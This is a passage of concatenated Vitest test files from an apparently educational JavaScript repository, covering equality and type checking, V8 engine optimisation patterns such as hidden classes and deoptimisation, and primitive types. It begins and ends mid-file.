return typeof value } expect(getType(null)).toBe("null") expect(getType(undefined)).toBe("undefined") expect(getType(42)).toBe("number") }) it('should check for "real" objects', () => { function isRealObject(value) { return value !== null && typeof value === "object" } expect(isRealObject({})).toBe(true) expect(isRealObject([])).toBe(true) expect(isRealObject(null)).toBe(false) }) }) }) describe('Better Type Checking Alternatives', () => { describe('Type-Specific Checks', () => { it('should use Array.isArray for arrays', () => { expect(Array.isArray([])).toBe(true) expect(Array.isArray([1, 2, 3])).toBe(true) expect(Array.isArray({})).toBe(false) expect(Array.isArray("hello")).toBe(false) expect(Array.isArray(null)).toBe(false) }) it('should use Number.isNaN for NaN', () => { expect(Number.isNaN(NaN)).toBe(true) expect(Number.isNaN("hello")).toBe(false) expect(Number.isNaN(undefined)).toBe(false) }) it('should use Number.isFinite for finite numbers', () => { expect(Number.isFinite(42)).toBe(true) expect(Number.isFinite(Infinity)).toBe(false) expect(Number.isFinite(NaN)).toBe(false) }) it('should use Number.isInteger for integers', () => { expect(Number.isInteger(42)).toBe(true) expect(Number.isInteger(42.5)).toBe(false) }) }) describe('instanceof', () => { it('should check instance of constructor', () => { expect([] instanceof Array).toBe(true) expect({} instanceof Object).toBe(true) expect(new Date() instanceof Date).toBe(true) expect(/regex/ instanceof RegExp).toBe(true) }) it('should work with custom classes', () => { class Person {} const p = new Person() expect(p instanceof Person).toBe(true) }) }) describe('Object.prototype.toString', () => { it('should return precise type information', () => { const getType = (value) => Object.prototype.toString.call(value).slice(8, -1) expect(getType(null)).toBe("Null") expect(getType(undefined)).toBe("Undefined") expect(getType([])).toBe("Array") expect(getType({})).toBe("Object") expect(getType(new Date())).toBe("Date") expect(getType(/regex/)).toBe("RegExp") expect(getType(new Map())).toBe("Map") expect(getType(new Set())).toBe("Set") expect(getType(Promise.resolve())).toBe("Promise") expect(getType(function(){})).toBe("Function") expect(getType(42)).toBe("Number") expect(getType("hello")).toBe("String") expect(getType(Symbol())).toBe("Symbol") expect(getType(42n)).toBe("BigInt") }) }) describe('Custom Type Checker', () => { it('should create comprehensive type checker', () => { function getType(value) { if (value === null) return "null" const type = typeof value if (type !== "object" && type !== "function") { return type } const tag = Object.prototype.toString.call(value) return tag.slice(8, -1).toLowerCase() } expect(getType(null)).toBe("null") expect(getType([])).toBe("array") expect(getType({})).toBe("object") expect(getType(new Date())).toBe("date") expect(getType(/regex/)).toBe("regexp") expect(getType(new Map())).toBe("map") expect(getType(Promise.resolve())).toBe("promise") }) }) }) describe('Common Gotchas and Mistakes', () => { describe('Comparing Objects by Value', () => { it('should demonstrate object reference comparison', () => { const user1 = { name: "Alice" } const user2 = { name: "Alice" } expect(user1 === user2).toBe(false) // Never runs as equal! // Option 1: Compare specific properties expect(user1.name === user2.name).toBe(true) // Option 2: JSON.stringify expect(JSON.stringify(user1) === JSON.stringify(user2)).toBe(true) }) }) describe('NaN Comparisons', () => { it('should never use === for NaN', () => { const result = parseInt("hello") expect(result === NaN).toBe(false) // Never works! expect(Number.isNaN(result)).toBe(true) // Correct way expect(Object.is(result, NaN)).toBe(true) // Also works }) }) describe('typeof null Trap', () => { it('should handle null separately from objects', () => { function processObject(obj) { if (obj !== null && typeof obj === "object") { return "real object" } return "not an object" } expect(processObject({})).toBe("real object") expect(processObject(null)).toBe("not an object") }) }) describe('String Comparison Gotchas', () => { it('should demonstrate string comparison issues', () => { // Strings compare lexicographically expect("10" > "9").toBe(false) // "1" < "9" // Convert to numbers for numeric comparison expect(Number("10") > Number("9")).toBe(true) expect(+"10" > +"9").toBe(true) }) }) describe('Empty Array Comparisons', () => { it('should demonstrate array truthiness vs equality', () => { const arr = [] // These seem contradictory expect(arr == false).toBe(true) expect(arr ? true : false).toBe(true) // arr is truthy! // Check array length instead expect(arr.length === 0).toBe(true) expect(!arr.length).toBe(true) }) }) }) describe('Decision Guide', () => { describe('Default to ===', () => { it('should use === for predictable comparisons', () => { expect(5 === 5).toBe(true) expect(5 === "5").toBe(false) // No surprise }) }) describe('Use == null for Nullish Checks', () => { it('should check for null or undefined', () => { function isNullish(value) { return value == null } expect(isNullish(null)).toBe(true) expect(isNullish(undefined)).toBe(true) expect(isNullish(0)).toBe(false) expect(isNullish("")).toBe(false) expect(isNullish(false)).toBe(false) }) }) describe('Use Number.isNaN for NaN', () => { it('should use Number.isNaN, not isNaN', () => { expect(Number.isNaN(NaN)).toBe(true) expect(Number.isNaN("hello")).toBe(false) // Correct expect(isNaN("hello")).toBe(true) // Wrong! }) }) describe('Use Array.isArray for Arrays', () => { it('should use Array.isArray, not typeof', () => { expect(Array.isArray([])).toBe(true) expect(typeof []).toBe("object") // Not helpful }) }) describe('Use Object.is for Edge Cases', () => { it('should use Object.is for NaN and ±0', () => { expect(Object.is(NaN, NaN)).toBe(true) expect(Object.is(+0, -0)).toBe(false) }) }) }) describe('Additional Missing Examples', () => { describe('More Loose Equality Examples', () => { it('should coerce 42 == "42" to true', () => { expect(42 == "42").toBe(true) }) it('should return false for undefined == ""', () => { expect(undefined == "").toBe(false) }) }) describe('More Strict Equality Examples', () => { it('should return false for array === string', () => { const arr = [] const str = "" expect(arr === str).toBe(false) }) it('should demonstrate -0 === 0 is true', () => { expect(-0 === 0).toBe(true) expect(0 === -0).toBe(true) }) }) describe('Negative Zero Edge Cases', () => { it('should demonstrate 1/+0 vs 1/-0', () => { expect(1 / +0).toBe(Infinity) expect(1 / -0).toBe(-Infinity) expect((1 / +0) === (1 / -0)).toBe(false) }) it('should demonstrate Math.sign with -0', () => { expect(Object.is(Math.sign(-0), -0)).toBe(true) expect(Math.sign(-0) === 0).toBe(true) // But === says it equals 0 }) it('should parse -0 from JSON', () => { const negZero = JSON.parse("-0") expect(Object.is(negZero, -0)).toBe(true) }) it('should create -0 through multiplication', () => { expect(Object.is(0 * -1, -0)).toBe(true) expect(Object.is(-0 * 1, -0)).toBe(true) }) }) describe('Map with NaN as Key', () => { it('should use NaN as a Map key', () => { const map = new Map() map.set(NaN, "value for NaN") // Map uses SameValueZero algorithm, which treats NaN === NaN expect(map.get(NaN)).toBe("value for NaN") expect(map.has(NaN)).toBe(true) }) it('should only have one NaN key despite multiple sets', () => { const map = new Map() map.set(NaN, "first") map.set(NaN, "second") expect(map.size).toBe(1) expect(map.get(NaN)).toBe("second") }) }) describe('Number.isSafeInteger', () => { it('should identify safe integers', () => { expect(Number.isSafeInteger(3)).toBe(true) expect(Number.isSafeInteger(-3)).toBe(true) expect(Number.isSafeInteger(0)).toBe(true) expect(Number.isSafeInteger(Number.MAX_SAFE_INTEGER)).toBe(true) expect(Number.isSafeInteger(Number.MIN_SAFE_INTEGER)).toBe(true) }) it('should return false for unsafe integers', () => { expect(Number.isSafeInteger(Number.MAX_SAFE_INTEGER + 1)).toBe(false) expect(Number.isSafeInteger(Number.MIN_SAFE_INTEGER - 1)).toBe(false) }) it('should return false for non-integers', () => { expect(Number.isSafeInteger(3.1)).toBe(false) expect(Number.isSafeInteger(NaN)).toBe(false) expect(Number.isSafeInteger(Infinity)).toBe(false) expect(Number.isSafeInteger("3")).toBe(false) }) }) describe('NaN Creation Examples', () => { it('should create NaN from 0/0', () => { expect(Number.isNaN(0 / 0)).toBe(true) }) it('should create NaN from Math.sqrt(-1)', () => { expect(Number.isNaN(Math.sqrt(-1))).toBe(true) }) it('should create NaN from invalid math operations', () => { expect(Number.isNaN(Infinity - Infinity)).toBe(true) expect(Number.isNaN(Infinity / Infinity)).toBe(true) expect(Number.isNaN(0 * Infinity)).toBe(true) }) }) describe('Sorting Array of Number Strings', () => { it('should sort incorrectly with default sort', () => { const arr = ["10", "9", "2", "1", "100"] const sorted = [...arr].sort() // Lexicographic sort - NOT numeric order! expect(sorted).toEqual(["1", "10", "100", "2", "9"]) }) it('should sort correctly with numeric comparison', () => { const arr = ["10", "9", "2", "1", "100"] const sorted = [...arr].sort((a, b) => Number(a) - Number(b)) expect(sorted).toEqual(["1", "2", "9", "10", "100"]) }) it('should sort correctly using + for conversion', () => { const arr = ["10", "9", "2", "1", "100"] const sorted = [...arr].sort((a, b) => +a - +b) expect(sorted).toEqual(["1", "2", "9", "10", "100"]) }) }) }) }) ================================================ FILE: tests/fundamentals/javascript-engines/javascript-engines.test.js ================================================ import { describe, it, expect } from 'vitest' describe('JavaScript Engines', () => { describe('Basic Examples from Documentation', () => { it('should demonstrate basic function execution (opening example)', () => { // From the opening of the documentation function greet(name) { return "Hello, " + name + "!" } expect(greet("World")).toBe("Hello, World!") expect(greet("JavaScript")).toBe("Hello, JavaScript!") expect(greet("V8")).toBe("Hello, V8!") }) }) describe('Object Shape Consistency', () => { it('should create objects with consistent property order', () => { // Objects with same properties in same order share hidden classes const point1 = { x: 1, y: 2 } const point2 = { x: 5, y: 10 } // Both should have same property keys in same order expect(Object.keys(point1)).toEqual(['x', 'y']) expect(Object.keys(point2)).toEqual(['x', 'y']) expect(Object.keys(point1)).toEqual(Object.keys(point2)) }) it('should show different key order for differently created objects', () => { // Property order matters for hidden classes const a = { x: 1, y: 2 } const b = { y: 2, x: 1 } // Keys are in different order expect(Object.keys(a)).toEqual(['x', 'y']) expect(Object.keys(b)).toEqual(['y', 'x']) // These have DIFFERENT hidden classes in V8! expect(Object.keys(a)).not.toEqual(Object.keys(b)) }) it('should maintain consistent shapes with factory functions', () => { // Factory functions create consistent shapes (engine-friendly) function createPoint(x, y) { return { x, y } } const p1 = createPoint(1, 2) const p2 = createPoint(3, 4) const p3 = createPoint(5, 6) // All have identical structure expect(Object.keys(p1)).toEqual(Object.keys(p2)) expect(Object.keys(p2)).toEqual(Object.keys(p3)) }) it('should demonstrate transition chains when adding properties', () => { const obj = {} expect(Object.keys(obj)).toEqual([]) obj.x = 1 expect(Object.keys(obj)).toEqual(['x']) obj.y = 2 expect(Object.keys(obj)).toEqual(['x', 'y']) // Each step creates a new hidden class (transition chain) }) it('should compare Pattern A (object literal) vs Pattern B (empty object + properties)', () => { // Pattern A: Object literal - creates shape immediately function createPointA(x, y) { return { x: x, y: y } } // Pattern B: Empty object + property additions - goes through transitions function createPointB(x, y) { const point = {} point.x = x point.y = y return point } const pointA = createPointA(1, 2) const pointB = createPointB(3, 4) // Both produce same final shape expect(Object.keys(pointA)).toEqual(['x', 'y']) expect(Object.keys(pointB)).toEqual(['x', 'y']) // Both work correctly expect(pointA.x).toBe(1) expect(pointA.y).toBe(2) expect(pointB.x).toBe(3) expect(pointB.y).toBe(4) // Pattern A is more engine-friendly because: // - V8 can optimize object literals with known properties // - Pattern B goes through 3 hidden class transitions: {} -> {x} -> {x,y} }) }) describe('Type Consistency', () => { it('should demonstrate consistent number operations', () => { // V8 optimizes for consistent types function add(a, b) { return a + b } // Consistent number usage (monomorphic, fast) expect(add(1, 2)).toBe(3) expect(add(3, 4)).toBe(7) expect(add(5, 6)).toBe(11) }) it('should handle type changes (triggers deoptimization)', () => { function process(x) { return x + x } // Numbers expect(process(5)).toBe(10) expect(process(10)).toBe(20) // Strings (type change - would trigger deoptimization in V8) expect(process("hello")).toBe("hellohello") // Mixed usage works but is slower due to deoptimization }) it('should demonstrate dynamic object shapes with process function', () => { // From JIT compilation section - shows why JS needs JIT function process(x) { return x.value * 2 } // Object with number value expect(process({ value: 10 })).toBe(20) // Object with string value (NaN result) expect(process({ value: "hello" })).toBeNaN() // Different shape (extra property) - still works expect(process({ value: 10, extra: 5 })).toBe(20) // Even more different shape expect(process({ value: 5, a: 1, b: 2 })).toBe(10) // This demonstrates why JavaScript needs JIT: // - x could be any object shape // - x.value could be any type // - AOT compilation can't optimize for all possibilities }) it('should show typeof consistency', () => { let num = 42 expect(typeof num).toBe('number') // Changing types is valid JS but can cause deoptimization // let num = "forty-two" // Would change type // Better: use separate variables const numValue = 42 const strValue = "forty-two" expect(typeof numValue).toBe('number') expect(typeof strValue).toBe('string') }) }) describe('Array Optimization', () => { it('should create dense arrays (engine-friendly)', () => { // Dense array - all indices filled, same type const dense = [1, 2, 3, 4, 5] expect(dense.length).toBe(5) expect(dense[0]).toBe(1) expect(dense[4]).toBe(5) // V8 can use optimized "packed" array representation }) it('should demonstrate sparse arrays (slower)', () => { // Sparse array with holes - V8 uses slower dictionary mode const sparse = [] sparse[0] = 1 sparse[100] = 2 expect(sparse.length).toBe(101) expect(sparse[0]).toBe(1) expect(sparse[50]).toBe(undefined) // Hole expect(sparse[100]).toBe(2) // This creates 99 "holes" - less efficient }) it('should show typed array benefits', () => { // Typed arrays are always optimized (single type, no holes) const int32Array = new Int32Array([1, 2, 3, 4, 5]) expect(int32Array.length).toBe(5) expect(int32Array[0]).toBe(1) // All elements guaranteed to be 32-bit integers }) it('should demonstrate mixed-type arrays (polymorphic)', () => { // Mixed types require more generic handling const mixed = [1, "two", 3, null, { four: 4 }] expect(typeof mixed[0]).toBe('number') expect(typeof mixed[1]).toBe('string') expect(typeof mixed[3]).toBe('object') expect(typeof mixed[4]).toBe('object') // V8 can't assume element types - slower operations }) it('should preserve array type with consistent operations', () => { const numbers = [1, 2, 3, 4, 5] // map preserves array structure const doubled = numbers.map(n => n * 2) expect(doubled).toEqual([2, 4, 6, 8, 10]) // filter preserves type consistency const filtered = numbers.filter(n => n > 2) expect(filtered).toEqual([3, 4, 5]) }) }) describe('Property Access Patterns', () => { it('should demonstrate monomorphic property access', () => { // Monomorphic: always same object shape function getX(obj) { return obj.x } // All objects have same shape - fastest IC state expect(getX({ x: 1, y: 2 })).toBe(1) expect(getX({ x: 3, y: 4 })).toBe(3) expect(getX({ x: 5, y: 6 })).toBe(5) }) it('should show polymorphic access (multiple shapes)', () => { function getX(obj) { return obj.x } // Different shapes - polymorphic IC expect(getX({ x: 1 })).toBe(1) // Shape A expect(getX({ x: 2, y: 3 })).toBe(2) // Shape B expect(getX({ x: 4, y: 5, z: 6 })).toBe(4) // Shape C // Still works, but inline cache has multiple entries }) it('should demonstrate computed property access', () => { const obj = { a: 1, b: 2, c: 3 } // Direct property access (faster) expect(obj.a).toBe(1) // Computed property access (slightly slower but necessary for dynamic keys) const key = 'b' expect(obj[key]).toBe(2) }) it('should demonstrate megamorphic access (many different shapes)', () => { function getX(obj) { return obj.x } // Every call has a completely different shape // This would cause megamorphic IC state in V8 expect(getX({ x: 1 })).toBe(1) expect(getX({ x: 2, a: 1 })).toBe(2) expect(getX({ x: 3, b: 2 })).toBe(3) expect(getX({ x: 4, c: 3 })).toBe(4) expect(getX({ x: 5, d: 4 })).toBe(5) expect(getX({ x: 6, e: 5 })).toBe(6) expect(getX({ x: 7, f: 6 })).toBe(7) // IC gives up after too many shapes - falls back to generic lookup // Still works correctly, just slower than monomorphic/polymorphic }) }) describe('Class vs Object Literal Shapes', () => { it('should create consistent shapes with classes', () => { class Point { constructor(x, y) { this.x = x this.y = y } } const p1 = new Point(1, 2) const p2 = new Point(3, 4) const p3 = new Point(5, 6) // All instances have identical shape expect(Object.keys(p1)).toEqual(['x', 'y']) expect(Object.keys(p2)).toEqual(['x', 'y']) expect(Object.keys(p3)).toEqual(['x', 'y']) }) it('should show prototype chain optimization', () => { class Animal { speak() { return 'sound' } } class Dog extends Animal { speak() { return 'woof' } } const dog = new Dog() // Method lookup follows prototype chain expect(dog.speak()).toBe('woof') expect(dog instanceof Dog).toBe(true) expect(dog instanceof Animal).toBe(true) }) }) describe('Avoiding Deoptimization Patterns', () => { it('should show delete causing shape change', () => { const user = { name: 'Alice', age: 30, temp: true } expect(Object.keys(user)).toEqual(['name', 'age', 'temp']) // delete changes hidden class (bad for performance) delete user.temp expect(Object.keys(user)).toEqual(['name', 'age']) expect(user.temp).toBe(undefined) // Better alternative: set to undefined const user2 = { name: 'Bob', age: 25, temp: true } user2.temp = undefined // Hidden class stays the same expect('temp' in user2).toBe(true) // Property still exists expect(user2.temp).toBe(undefined) }) it('should demonstrate object spread for immutable updates', () => { const original = { x: 1, y: 2, z: 3 } // Instead of mutating, create new object const updated = { ...original, z: 10 } expect(original.z).toBe(3) // Original unchanged expect(updated.z).toBe(10) // New object with update // Both have consistent shapes expect(Object.keys(original)).toEqual(['x', 'y', 'z']) expect(Object.keys(updated)).toEqual(['x', 'y', 'z']) }) it('should show inconsistent shapes with conditional property assignment', () => { // Bad pattern: conditional property assignment creates different shapes function createUserBad(name, age) { const user = {} if (name) user.name = name if (age) user.age = age return user } const user1 = createUserBad('Alice', 30) const user2 = createUserBad('Bob', null) // Only name const user3 = createUserBad(null, 25) // Only age const user4 = createUserBad(null, null) // Empty // All have different shapes! expect(Object.keys(user1)).toEqual(['name', 'age']) expect(Object.keys(user2)).toEqual(['name']) expect(Object.keys(user3)).toEqual(['age']) expect(Object.keys(user4)).toEqual([]) // Compare with good pattern function createUserGood(name, age) { return { name, age } // Always same shape } const goodUser1 = createUserGood('Alice', 30) const goodUser2 = createUserGood('Bob', null) const goodUser3 = createUserGood(null, 25) // Same shape regardless of values (nulls are still properties) expect(Object.keys(goodUser1)).toEqual(['name', 'age']) expect(Object.keys(goodUser2)).toEqual(['name', 'age']) expect(Object.keys(goodUser3)).toEqual(['name', 'age']) }) }) describe('Function Optimization Patterns', () => { it('should demonstrate consistent function signatures', () => { function multiply(a, b) { return a * b } // Consistent argument types enable optimization expect(multiply(2, 3)).toBe(6) expect(multiply(4, 5)).toBe(20) expect(multiply(6, 7)).toBe(42) }) it('should show inlining with small functions', () => { // Small functions are candidates for inlining function square(x) { return x * x } function sumOfSquares(a, b) { return square(a) + square(b) } // V8 may inline square() into sumOfSquares() expect(sumOfSquares(3, 4)).toBe(25) // 9 + 16 }) it('should demonstrate closure optimization', () => { function createAdder(x) { // Closure captures x return function(y) { return x + y } } const add5 = createAdder(5) const add10 = createAdder(10) // Closures with consistent captured values can be optimized expect(add5(3)).toBe(8) expect(add10(3)).toBe(13) }) }) describe('Garbage Collection Concepts', () => { it('should demonstrate object references', () => { let obj = { data: 'important' } const ref = obj // Both point to same object expect(ref.data).toBe('important') // Setting obj to null doesn't GC the object // because ref still holds a reference obj = null expect(ref.data).toBe('important') }) it('should show circular references', () => { const a = { name: 'a' } const b = { name: 'b' } // Circular reference a.ref = b b.ref = a expect(a.ref.name).toBe('b') expect(b.ref.name).toBe('a') expect(a.ref.ref.name).toBe('a') // Modern GC can handle circular references // (mark-and-sweep doesn't rely on reference counting) }) it('should demonstrate WeakRef for GC-friendly references', () => { // WeakRef allows object to be garbage collected let obj = { data: 'temporary' } const weakRef = new WeakRef(obj) // Can access while object exists expect(weakRef.deref()?.data).toBe('temporary') // Note: We can't force GC in tests, but WeakRef // allows the referenced object to be collected }) it('should show Map vs WeakMap for memory management', () => { // Regular Map holds strong references const map = new Map() let key = { id: 1 } map.set(key, 'value') expect(map.get(key)).toBe('value') // WeakMap allows keys to be garbage collected const weakMap = new WeakMap() let weakKey = { id: 2 } weakMap.set(weakKey, 'value') expect(weakMap.get(weakKey)).toBe('value') // If weakKey is set to null and no other references exist, // the entry can be garbage collected }) }) describe('JIT Compilation Observable Behavior', () => { it('should handle hot function calls', () => { function hotFunction(n) { return n * 2 } // Simulating many calls (would trigger JIT in real V8) let result = 0 for (let i = 0; i < 1000; i++) { result = hotFunction(i) } expect(result).toBe(1998) // Last iteration: 999 * 2 }) it('should demonstrate deoptimization scenario', () => { function add(a, b) { return a + b } // Many calls with numbers (would be optimized for numbers) for (let i = 0; i < 100; i++) { add(i, i + 1) } // Then a call with strings (triggers deoptimization) const result = add('hello', 'world') // Still produces correct result despite deoptimization expect(result).toBe('helloworld') }) it('should show consistent returns for optimization', () => { // Always returns same type (optimizer-friendly) function maybeDouble(n, shouldDouble) { if (shouldDouble) { return n * 2 } return n // Always returns number } expect(maybeDouble(5, true)).toBe(10) expect(maybeDouble(5, false)).toBe(5) expect(typeof maybeDouble(5, true)).toBe('number') expect(typeof maybeDouble(5, false)).toBe('number') }) }) describe('Hidden Class Interview Questions', () => { it('should explain why object literal order matters', () => { // Creating objects with different property orders function createA() { return { first: 1, second: 2 } } function createB() { return { second: 2, first: 1 } } const objA = createA() const objB = createB() // Same values, but different hidden classes expect(objA.first).toBe(objB.first) expect(objA.second).toBe(objB.second) // Property order is different expect(Object.keys(objA)[0]).toBe('first') expect(Object.keys(objB)[0]).toBe('second') }) it('should demonstrate best practice with constructor pattern', () => { // Constructor ensures consistent shape function User(name, email, age) { this.name = name this.email = email this.age = age } const user1 = new User('Alice', 'alice@example.com', 30) const user2 = new User('Bob', 'bob@example.com', 25) // Guaranteed same property order expect(Object.keys(user1)).toEqual(['name', 'email', 'age']) expect(Object.keys(user2)).toEqual(['name', 'email', 'age']) }) }) }) ================================================ FILE: tests/fundamentals/primitive-types/primitive-types.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Primitive Types', () => { describe('String', () => { it('should create strings with single quotes, double quotes, and backticks', () => { let single = 'Hello' let double = "World" let backtick = `Hello World` expect(single).toBe('Hello') expect(double).toBe('World') expect(backtick).toBe('Hello World') }) it('should support template literal interpolation', () => { let name = "Alice" let age = 25 let greeting = `Hello, ${name}! You are ${age} years old.` expect(greeting).toBe("Hello, Alice! You are 25 years old.") }) it('should support multi-line strings with template literals', () => { let multiLine = ` This is line 1 This is line 2 ` expect(multiLine).toContain('This is line 1') expect(multiLine).toContain('This is line 2') }) it('should demonstrate string immutability - cannot change characters', () => { let str = "hello" // In strict mode, this throws TypeError // In non-strict mode, it silently fails expect(() => { "use strict" str[0] = "H" }).toThrow(TypeError) expect(str).toBe("hello") // Still "hello" }) it('should create new string when "changing" with concatenation', () => { let str = "hello" str = "H" + str.slice(1) expect(str).toBe("Hello") }) it('should not modify original string with toUpperCase', () => { let name = "Alice" name.toUpperCase() // Creates "ALICE" but doesn't change 'name' expect(name).toBe("Alice") // Still "Alice" }) }) describe('Number', () => { it('should handle integers, decimals, negatives, and scientific notation', () => { let integer = 42 let decimal = 3.14 let negative = -10 let scientific = 2.5e6 expect(integer).toBe(42) expect(decimal).toBe(3.14) expect(negative).toBe(-10) expect(scientific).toBe(2500000) }) it('should return Infinity for division by zero', () => { expect(1 / 0).toBe(Infinity) expect(-1 / 0).toBe(-Infinity) }) it('should return NaN for invalid operations', () => { expect(Number.isNaN("hello" * 2)).toBe(true) }) it('should demonstrate floating-point precision problem', () => { expect(0.1 + 0.2).not.toBe(0.3) expect(0.1 + 0.2).toBeCloseTo(0.3) expect(0.1 + 0.2 === 0.3).toBe(false) }) it('should have MAX_SAFE_INTEGER and MIN_SAFE_INTEGER', () => { expect(Number.MAX_SAFE_INTEGER).toBe(9007199254740991) expect(Number.MIN_SAFE_INTEGER).toBe(-9007199254740991) }) it('should lose precision beyond safe integer range', () => { // This demonstrates the precision loss expect(9007199254740992 === 9007199254740993).toBe(true) // Wrong but expected }) }) describe('BigInt', () => { it('should create BigInt with n suffix', () => { let big = 9007199254740993n expect(big).toBe(9007199254740993n) }) it('should create BigInt from string', () => { let alsoBig = BigInt("9007199254740993") expect(alsoBig).toBe(9007199254740993n) }) it('should perform accurate math with BigInt', () => { let big = 9007199254740993n expect(big + 1n).toBe(9007199254740994n) }) it('should require explicit conversion between BigInt and Number', () => { let big = 10n let regular = 5 expect(big + BigInt(regular)).toBe(15n) expect(Number(big) + regular).toBe(15) }) it('should throw TypeError when mixing BigInt and Number without conversion', () => { let big = 10n let regular = 5 expect(() => big + regular).toThrow(TypeError) }) }) describe('Boolean', () => { it('should have only two values: true and false', () => { let isLoggedIn = true let hasPermission = false expect(isLoggedIn).toBe(true) expect(hasPermission).toBe(false) }) it('should create boolean from comparisons', () => { let age = 25 let name = "Alice" let isAdult = age >= 18 let isEqual = name === "Alice" expect(isAdult).toBe(true) expect(isEqual).toBe(true) }) describe('Falsy Values', () => { it('should identify all 8 falsy values', () => { expect(Boolean(false)).toBe(false) expect(Boolean(0)).toBe(false) expect(Boolean(-0)).toBe(false) expect(Boolean(0n)).toBe(false) expect(Boolean("")).toBe(false) expect(Boolean(null)).toBe(false) expect(Boolean(undefined)).toBe(false) expect(Boolean(NaN)).toBe(false) }) }) describe('Truthy Values', () => { it('should identify truthy values including surprises', () => { expect(Boolean(true)).toBe(true) expect(Boolean(1)).toBe(true) expect(Boolean(-1)).toBe(true) expect(Boolean("hello")).toBe(true) expect(Boolean("0")).toBe(true) // Non-empty string is truthy! expect(Boolean("false")).toBe(true) // Non-empty string is truthy! expect(Boolean([])).toBe(true) // Empty array is truthy! expect(Boolean({})).toBe(true) // Empty object is truthy! expect(Boolean(function(){})).toBe(true) expect(Boolean(Infinity)).toBe(true) expect(Boolean(-Infinity)).toBe(true) }) }) it('should convert to boolean using Boolean() and double negation', () => { let value = "hello" let bool = Boolean(value) let shortcut = !!value expect(bool).toBe(true) expect(shortcut).toBe(true) }) }) describe('undefined', () => { it('should be the default value for uninitialized variables', () => { let x expect(x).toBe(undefined) }) it('should be the value for missing function parameters', () => { function greet(name) { return name } expect(greet()).toBe(undefined) }) it('should be the return value of functions without return statement', () => { function doNothing() { // no return } expect(doNothing()).toBe(undefined) }) it('should be the value for non-existent object properties', () => { let person = { name: "Alice" } expect(person.age).toBe(undefined) }) }) describe('null', () => { it('should represent intentional absence of value', () => { let user = { name: "Alice" } user = null expect(user).toBe(null) }) it('should be used to indicate no result from functions', () => { function findUser(id) { // Simulating user not found return null } expect(findUser(999)).toBe(null) }) it('should have typeof return "object" (famous bug)', () => { expect(typeof null).toBe("object") }) it('should be checked with strict equality', () => { let value = null expect(value === null).toBe(true) }) }) describe('Symbol', () => { it('should create unique symbols even with same description', () => { let id1 = Symbol("id") let id2 = Symbol("id") expect(id1 === id2).toBe(false) }) it('should have accessible description', () => { let id1 = Symbol("id") expect(id1.description).toBe("id") }) it('should work as unique object keys', () => { const ID = Symbol("id") const user = { name: "Alice", [ID]: 12345 } expect(user.name).toBe("Alice") expect(user[ID]).toBe(12345) }) it('should not appear in Object.keys', () => { const ID = Symbol("id") const user = { name: "Alice", [ID]: 12345 } expect(Object.keys(user)).toEqual(["name"]) }) }) describe('typeof Operator', () => { it('should return correct types for primitives', () => { expect(typeof "hello").toBe("string") expect(typeof 42).toBe("number") expect(typeof 42n).toBe("bigint") expect(typeof true).toBe("boolean") expect(typeof undefined).toBe("undefined") expect(typeof Symbol()).toBe("symbol") }) it('should return "object" for null (bug)', () => { expect(typeof null).toBe("object") }) it('should return "object" for objects and arrays', () => { expect(typeof {}).toBe("object") expect(typeof []).toBe("object") }) it('should return "function" for functions', () => { expect(typeof function(){}).toBe("function") }) }) describe('Immutability', () => { it('should not modify original string with methods', () => { let str = "hello" str.toUpperCase() // Returns "HELLO" expect(str).toBe("hello") // Still "hello"! }) it('should require reassignment to capture new value', () => { let str = "hello" str = str.toUpperCase() expect(str).toBe("HELLO") }) }) describe('const vs Immutability', () => { it('should prevent reassignment with const', () => { const name = "Alice" // name = "Bob" would throw TypeError expect(name).toBe("Alice") }) it('should allow mutation of const objects', () => { const person = { name: "Alice" } person.name = "Bob" // Works! person.age = 25 // Works! expect(person.name).toBe("Bob") expect(person.age).toBe(25) }) it('should demonstrate primitives are immutable regardless of const/let', () => { let str = "hello" // In strict mode (which Vitest uses), this throws TypeError // In non-strict mode, it silently fails expect(() => { str[0] = "H" }).toThrow(TypeError) expect(str).toBe("hello") }) }) describe('Autoboxing', () => { it('should allow calling methods on primitive strings', () => { expect("hello".toUpperCase()).toBe("HELLO") }) it('should not modify the original primitive when calling methods', () => { let str = "hello" str.toUpperCase() expect(str).toBe("hello") }) it('should demonstrate wrapper objects are different from primitives', () => { let strObj = new String("hello") expect(typeof strObj).toBe("object") // Not "string"! expect(strObj === "hello").toBe(false) // Object vs primitive }) it('should create primitive strings, not wrapper objects', () => { let str = "hello" expect(typeof str).toBe("string") }) }) describe('null vs undefined Comparison', () => { it('should show loose equality between null and undefined', () => { expect(null == undefined).toBe(true) }) it('should show strict inequality between null and undefined', () => { expect(null === undefined).toBe(false) }) it('should demonstrate checking for nullish values', () => { let value = null expect(value == null).toBe(true) value = undefined expect(value == null).toBe(true) }) it('should check for specific null', () => { let value = null expect(value === null).toBe(true) }) it('should check for specific undefined', () => { let value = undefined expect(value === undefined).toBe(true) }) it('should check for "has a value" (not null/undefined)', () => { let value = "hello" expect(value != null).toBe(true) value = 0 // 0 is a value, not nullish expect(value != null).toBe(true) }) }) describe('JavaScript Quirks', () => { it('should demonstrate NaN is not equal to itself', () => { expect(NaN === NaN).toBe(false) expect(NaN !== NaN).toBe(true) }) it('should use Number.isNaN to check for NaN', () => { expect(Number.isNaN(NaN)).toBe(true) expect(Number.isNaN("hello")).toBe(false) expect(isNaN("hello")).toBe(true) // Has quirks }) it('should demonstrate empty string is falsy but whitespace is truthy', () => { expect(Boolean("")).toBe(false) expect(Boolean(" ")).toBe(true) expect(Boolean("0")).toBe(true) }) it('should demonstrate + operator string concatenation', () => { expect(1 + 2).toBe(3) expect("1" + "2").toBe("12") expect(1 + "2").toBe("12") expect("1" + 2).toBe("12") expect(1 + 2 + "3").toBe("33") expect("1" + 2 + 3).toBe("123") }) it('should force number addition with explicit conversion', () => { expect(Number("1") + Number("2")).toBe(3) expect(parseInt("1") + parseInt("2")).toBe(3) }) it('should force string concatenation with explicit conversion', () => { expect(String(1) + String(2)).toBe("12") expect(`${1}${2}`).toBe("12") }) }) describe('Type Checking Best Practices', () => { it('should check for null explicitly', () => { let value = null expect(value === null).toBe(true) }) it('should use Array.isArray for arrays', () => { expect(Array.isArray([1, 2, 3])).toBe(true) expect(Array.isArray("hello")).toBe(false) }) it('should use Object.prototype.toString for precise type', () => { expect(Object.prototype.toString.call(null)).toBe("[object Null]") expect(Object.prototype.toString.call([])).toBe("[object Array]") expect(Object.prototype.toString.call(new Date())).toBe("[object Date]") }) }) describe('Intl.NumberFormat for Currency', () => { it('should format currency correctly with Intl.NumberFormat', () => { const formatter = new Intl.NumberFormat('en-US', { 